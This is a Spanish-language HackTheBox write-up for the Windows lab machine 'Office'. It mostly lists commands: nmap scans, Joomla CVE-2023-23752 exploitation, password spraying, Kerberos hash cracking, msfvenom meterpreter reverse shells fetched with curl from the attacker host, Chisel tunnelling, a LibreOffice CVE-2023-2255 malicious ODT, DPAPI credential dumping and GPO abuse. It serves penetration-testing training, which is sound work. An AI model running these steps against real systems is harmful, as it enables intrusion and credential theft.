🌐
My Pentest Book
  • πŸ’‘I changed my website
  • πŸ“„WriteUps
    • πŸ΄β€β˜ οΈHTB - HackTheBox
      • ⬛HTB - Advanced Labs
        • Endgames
          • P.O.O.
      • 🟨HTB - Runner
      • 🟩HTB - Usage
      • 🟩HTP - Active (Incomplete)
      • 🟨HTB - Scrambled
      • πŸŸ₯HTB - FormulaX (Incomplete)
      • πŸŸ₯HTB - Office
      • 🟩HTB - Perfection
      • 🟨HTB - WifineticTwo
      • 🟨HTB - Jab (Incomplete)
      • 🟩HTB - Buff
      • 🟨HTB - Hospital
      • 🟩HTB - Crafty
      • 🟩HTB - Bizness
      • 🟩HTB - Devvortex
      • 🟩HTB - CozyHosting
      • 🟩HTB - Analytics
      • 🟩HTB - Codify
      • 🟨HTB - Surveillance
      • 🟨HTB - Monitored
Con tecnologΓ­a de GitBook
En esta pΓ‘gina
  • InformaciΓ³n General
  • Enumeration
  • Ping para obtener ruta de retorno
  • Escaneo de puertos con Nmap
  • Escaneo detallado con Nmap
  • Modificando /etc/hosts
  • Enumeration en Joomla
  • ExplotaciΓ³n de CVE-2023-23752
  • Descubrimiento de Usuarios / Password Bruteforce
  • Cliente SMB (Impacket)
  • Obteniendo Kerberos Pre-Auth Packets con Wireshark
  • Accedemos como Administrator en Joomla
  • Meterpreter Reverse_TCP Shell
  • RunasCs y Meterpreter Shell como Tstark
  • Port forwarding con Chisel
  • RCE con ODT File (CVE-2023-2255)
  • Privilege Escalation
  • Obtener SID (Security Identifier)
  • Evil-WinRM
  • GPO Abuse con SharpGPOAbuse

ΒΏTe fue ΓΊtil?

Editar en GitHub
  1. WriteUps
  2. HTB - HackTheBox

HTB - Office

https://app.hackthebox.com/machines/Office

AnteriorHTB - FormulaX (Incomplete)SiguienteHTB - Perfection

Última actualización hace 1 año

ΒΏTe fue ΓΊtil?

InformaciΓ³n General

  • Nombre de la MΓ‘quina: Office

  • IP de la MΓ‘quina: 10.129.230.226

  • Sistema Operativo: Windows

  • Dificultad: Hard

  • Fecha de PublicaciΓ³n: 17 Feb 2024


Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:

ping -c 1 10.129.230.226 -R

El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la mΓ‘quina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duraciΓ³n que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓ­nima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra funciΓ³n extractPorts:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.230.226 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓ­ficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

sudo nmap -sCV -pPORTS 10.129.230.226 -oN targeted
# Nmap 7.94SVN scan initiated Mon Apr  1 00:23:34 2024 as: nmap -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389,49664,49668,61823,61836,61855 -sCV -oN targeted 10.129.230.226
Nmap scan report for 10.129.230.226
Host is up (0.20s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Home
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-01 12:23:46Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Not valid before: 2023-05-10T12:36:58
|_Not valid after:  2024-05-09T12:36:58
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
61823/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
61836/tcp open  msrpc         Microsoft Windows RPC
61855/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-04-01T12:24:41
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr  1 00:25:19 2024 -- 1 IP address (1 host up) scanned in 104.80 seconds

Modificando /etc/hosts

Para aΓ±adir la entrada "10.129.230.226 office.htb" al archivo /etc/hosts, puedes usar el siguiente comando en la terminal:

echo "10.129.230.226 dc.office.htb office.htb  " | sudo tee -a /etc/hosts

Enumeration en Joomla

ExplotaciΓ³n de CVE-2023-23752

http://office.htb/api/index.php/v1/users?public=true
http://office.htb/api/index.php/v1/config/application?public=true

En este WriteUp puedes encontrar mΓ‘s informaciΓ³n de este CVE. HTB - Devvortex

Descubrimiento de Usuarios / Password Bruteforce

Podemos utilizar kerbrute y ver si encontramos algunos usuarios, para luego ver a cual de ellos le corresponde la contraseΓ±a que encontramos.

kerbrute userenum --dc dc.office.htb -d office.htb -t 2000 /usr/share/seclists/Usernames/xato-net-10-milion-usernames.txt -o users
kerbrute passwordspray -d office.htb --dc dc.office.htb users H0lOgrams4reTakIng0Ver754!
crackmapexec smb office.htb -u users -p 'H0lOgrams4reTakIng0Ver754!'
dwolfe:H0lOgrams4reTakIng0Ver754!

Cliente SMB (Impacket)

git clone https://github.com/fortra/impacket.git
cd impacket/examples/
python3 smbclient.py office.htb/dwolfe:'H0lOgrams4reTakIng0Ver754!'@10.129.230.226
shares 
use SOC Anaysis
ls
get Latest-System-Dump-8fbc124d.pcap

Obteniendo Kerberos Pre-Auth Packets con Wireshark

echo '$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc' > hash.txt
hashcat -m 19900 hash.txt usr/share/wordlists/rockyou.txt

Accedemos como Administrator en Joomla

office.htb/Administrator
Administrator:playboy69

Modificamos algΓΊn archivo para subir nuestra shell. En este caso yo subir un uploader y luego la shell.

Meterpreter Reverse_TCP Shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=6666 -f exe -o 6666.exe
python3 -m http.server 8888
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost tun0
set lport 6666
run
cd C:\xampp
curl 10.10.15.21:8888/6666.exe -o 6666.exe
6666.exe

RunasCs y Meterpreter Shell como Tstark

Lo que deseamos hacer es ejecutar mediante RunasCs nuestro 7777.exe, para que este se ejecute desde el usuario Tstark para asΓ­ acceder a su cuenta.

Import-Module ./Invoke-RunasCs.ps1
Invoke-RunasCs -Username tstark -Password playboy69 -Command "whoami"
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
curl 10.10.15.21:8888/7777.exe -o 7777.exe
Invoke-RunasCs -Username tstark -Password playboy69 -Command "C:\xampp\7777.exe"

Port forwarding con Chisel

Deseamos acceder a la ruta 127.0.0.1:8083 de la mΓ‘quina Windows desde nuestra mΓ‘quina Kali Linux para ello debemos redireccionar:

10.10.15.21:7777 -> 127.0.0.1:8083

Entonces cuando accedamos a 127.0.0.1:8083 desde Kali Linux accederemos al contenido de la mΓ‘quina Windows.

Kali Linux Machine
python3 -m http.server 8888
Windows Machine
curl 10.10.15.21:8888/chisel.exe -o chisel.exe
chisel.exe client 10.10.15.21:7777 R:8083:127.0.0.1:8083 
Kali Linux Machine
./chisel server -p 7777 --reverse

RCE con ODT File (CVE-2023-2255)

Lo primero que vamos a hacer es crear nuestro 9999.exe y enviarlo al servidor victima (descargandolo con curl). Para luego que este sea ejecutado por el archivo odt.

Kali Linux Machine
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=7777 -f exe -o 7777.exe
python3 -m http.server 8888
Windows Machine
curl 10.10.15.21:8888/9999.exe -o C:\Users\Public\9999.exe
Kali Linux Machine
git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'C:\Users\Public\9999.exe' --output '3ky.odt'

Lo siguiente es enviar el archivo *.odt en el formulario para que este sea "ejecutado" en la mΓ‘quina victima.

Privilege Escalation

vaultcmd /listcreds:"Windows Credentials" /all
dir /a:h C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\
dpapi::cred /in:"%appdata%\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4"
dpapi::cred /in:"%appdata%\Microsoft\Credentials\E76CCA3670CD9BB98DF79E0A8D176F1E"

Obtener SID (Security Identifier)

Get-ChildItem C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\PPotts\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\PPotts\AppData\Local\Microsoft\Protect\{SID}

Ahora utilizamos nuestro SID y nuestro GuidMasterKey:

dpapi::masterkey /in:C:\Users\PPotts\AppData\Roaming\Microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc
dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4/ masterkey::87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166

Evil-WinRM

Get-GPO -All | Select-Object -ExpandProperty DisplayName

GPO Abuse con SharpGPOAbuse

Primero descargamos el ejecutable SharpGPOAbuse.exe y lo descargamos en la mΓ‘quina Windows.

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"
gpupdate /Force

Entonces podemos ver que se trata de Joomla 4.2.7, y en Google encuentro esto: .

MΓ‘s informacion en .

DespuΓ©s de unos minutos se abre la sesiΓ³n exitosamente, ahora tenemos acceso a office\ppotts .

πŸ“„
πŸ΄β€β˜ οΈ
πŸŸ₯
πŸ˜‰
CVE-2023-23752 - Joomla Improper Access Check
https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/
GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.GitHub
RunasCs/Invoke-RunasCs.ps1 at master Β· antonioCoco/RunasCsGitHub
GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTPGitHub
GitHub - elweth-sec/CVE-2023-2255: CVE-2023-2255 Libre OfficeGitHub
GitHub - byronkg/SharpGPOAbuse: Precompiled executableGitHub
Logo
Logo
Logo
Logo
Logo
office.htb/robots.txt
Password cracked!
office.htb/Administrator/manifests/files/joomla.xml